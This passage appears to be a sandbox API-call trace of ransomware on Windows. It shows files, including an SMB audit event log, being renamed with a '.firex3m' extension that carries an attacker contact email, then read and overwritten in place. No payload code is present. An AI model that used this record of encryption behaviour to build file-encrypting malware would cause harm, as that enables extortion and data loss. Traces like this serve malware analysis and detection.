lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0096.309] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0096.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.310] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0096.310] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0096.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.310] GetProcessHeap () returned 0x630000 [0096.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18c1) returned 0x6ed4d28 [0096.310] GetProcessHeap () returned 0x630000 [0096.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18c1) returned 0x71bd148 [0096.310] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.311] ReadFile (in: hFile=0x680, lpBuffer=0x6ed4d28, nNumberOfBytesToRead=0x18a0, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed4d28*, lpNumberOfBytesRead=0x447ff0c*=0x18a0, lpOverlapped=0x0) returned 1 [0096.335] GetProcessHeap () returned 0x630000 [0096.335] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.336] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.336] WriteFile (in: hFile=0x680, lpBuffer=0x71bd148*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bd148*, lpNumberOfBytesWritten=0x447ff0c*=0x18a0, lpOverlapped=0x0) returned 1 [0096.336] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.336] WriteFile (in: hFile=0x680, lpBuffer=0x71be9e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9e7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.336] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.336] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.336] CloseHandle (hObject=0x680) returned 1 [0096.336] GetProcessHeap () returned 0x630000 [0096.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71bd148 | out: hHeap=0x630000) returned 1 [0096.336] GetProcessHeap () returned 0x630000 [0096.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed4d28 | out: hHeap=0x630000) returned 1 [0096.337] GetProcessHeap () returned 0x630000 [0096.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0096.337] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.337] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xff5d9cf4, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x18c9, dwReserved0=0xb687496, dwReserved1=0x6ed4d20, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5240 [0096.337] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0096.337] Sleep (dwMilliseconds=0x1) [0096.339] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", len=0x2c | out: pbstr=0x447ff7c*="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 1 [0096.339] GetProcessHeap () returned 0x630000 [0096.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b1220 [0096.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.339] CloseHandle (hObject=0x680) returned 1 [0096.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0096.339] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0096.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0096.340] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0096.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.340] GetProcessHeap () returned 0x630000 [0096.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fd68a8 [0096.340] GetProcessHeap () returned 0x630000 [0096.341] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1cd8 [0096.341] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.341] ReadFile (in: hFile=0x680, lpBuffer=0x6fd68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd68a8*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.866] GetProcessHeap () returned 0x630000 [0101.866] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feea58 [0101.866] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.866] WriteFile (in: hFile=0x680, lpBuffer=0x6fe1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1cd8*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.867] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.867] WriteFile (in: hFile=0x680, lpBuffer=0x6fed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed0d7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0101.867] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.867] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0101.867] CloseHandle (hObject=0x680) returned 1 [0102.276] GetProcessHeap () returned 0x630000 [0102.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1cd8 | out: hHeap=0x630000) returned 1 [0102.277] GetProcessHeap () returned 0x630000 [0102.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd68a8 | out: hHeap=0x630000) returned 1 [0102.278] GetProcessHeap () returned 0x630000 [0102.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feea58 | out: hHeap=0x630000) returned 1 [0102.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0102.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2e8ff1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x139a2, dwReserved0=0xb687496, dwReserved1=0x6fd68a0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5380 [0102.278] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0102.278] Sleep (dwMilliseconds=0x1) [0102.476] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0103.089] Sleep (dwMilliseconds=0x1) [0103.196] Sleep (dwMilliseconds=0x1) [0103.498] Sleep (dwMilliseconds=0x1) [0104.421] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", len=0x2f | out: pbstr=0x447ff7c*="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 1 [0104.421] GetProcessHeap () returned 0x630000 [0104.421] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x44) returned 0x649f58 [0104.421] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0104.448] CloseHandle (hObject=0x704) returned 1 [0104.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.449] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.449] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI60D7~1.FIR")) returned 0x6d4e00 [0104.450] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0104.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0104.450] GetProcessHeap () returned 0x630000 [0104.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x704b9c0 [0104.450] GetProcessHeap () returned 0x630000 [0104.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7056df0 [0104.451] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.451] ReadFile (in: hFile=0x704, lpBuffer=0x704b9c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b9c0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.461] GetProcessHeap () returned 0x630000 [0112.461] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.461] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.461] WriteFile (in: hFile=0x704, lpBuffer=0x7056df0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7056df0*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.461] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.461] WriteFile (in: hFile=0x704, lpBuffer=0x70621ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70621ef*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.462] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.462] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.462] CloseHandle (hObject=0x704) returned 1 [0112.464] GetProcessHeap () returned 0x630000 [0112.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7056df0 | out: hHeap=0x630000) returned 1 [0112.464] GetProcessHeap () returned 0x630000 [0112.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704b9c0 | out: hHeap=0x630000) returned 1 [0112.465] GetProcessHeap () returned 0x630000 [0112.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.465] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8fbab21, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb687496, dwReserved1=0x704b9b8, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI60D7~1.FIR")) returned 0x6d5240 [0112.465] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0112.465] Sleep (dwMilliseconds=0x1) [0113.620] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", len=0x52 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0113.620] GetProcessHeap () returned 0x630000 [0113.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x24) returned 0x699948 [0113.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.634] Sleep (dwMilliseconds=0x1) [0113.646] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", len=0x54 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 1 [0113.646] GetProcessHeap () returned 0x630000 [0113.647] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0218, Size=0x10) returned 0x6b1268 [0113.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.647] Sleep (dwMilliseconds=0x1) [0113.662] Sleep (dwMilliseconds=0x1) [0113.682] Sleep (dwMilliseconds=0x1) [0113.692] Sleep (dwMilliseconds=0x1) [0114.304] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", len=0x3c | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 1 [0114.304] GetProcessHeap () returned 0x630000 [0114.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x40) returned 0x6fef578 [0114.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.304] Sleep (dwMilliseconds=0x1) [0114.881] Sleep (dwMilliseconds=0x1) [0115.142] Sleep (dwMilliseconds=0x1) [0115.441] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", len=0x49 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 1 [0115.441] GetProcessHeap () returned 0x630000 [0115.441] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6038, Size=0x28) returned 0x699888 [0115.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.442] Sleep (dwMilliseconds=0x1) [0115.452] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.536] Sleep (dwMilliseconds=0x1) [0115.574] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb", len=0x35 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 1 [0115.575] GetProcessHeap () returned 0x630000 [0115.575] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d54c0, Size=0x34) returned 0x6d5340 [0115.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.578] Sleep (dwMilliseconds=0x1) [0115.640] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", len=0x33 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 1 [0115.640] GetProcessHeap () returned 0x630000 [0115.640] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x10) returned 0x6b1208 [0115.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.642] Sleep (dwMilliseconds=0x1) [0115.653] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", len=0x35 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 1 [0115.653] GetProcessHeap () returned 0x630000 [0115.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b12b0 [0115.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.655] Sleep (dwMilliseconds=0x1) [0115.669] Sleep (dwMilliseconds=0x1) [0115.685] Sleep (dwMilliseconds=0x1) [0115.700] Sleep (dwMilliseconds=0x1) [0115.716] Sleep (dwMilliseconds=0x1) [0115.733] Sleep (dwMilliseconds=0x1) [0115.747] Sleep (dwMilliseconds=0x1) [0115.763] Sleep (dwMilliseconds=0x1) [0115.778] Sleep (dwMilliseconds=0x1) [0115.794] Sleep (dwMilliseconds=0x1) [0115.809] Sleep (dwMilliseconds=0x1) [0115.825] Sleep (dwMilliseconds=0x1) [0115.889] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0115.919] Sleep (dwMilliseconds=0x1) [0115.934] Sleep (dwMilliseconds=0x1) [0115.950] Sleep (dwMilliseconds=0x1) [0115.979] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", len=0x37 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 1 [0115.979] GetProcessHeap () returned 0x630000 [0115.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0xc) returned 0x6b1418 [0115.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.995] Sleep (dwMilliseconds=0x1) [0115.996] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole 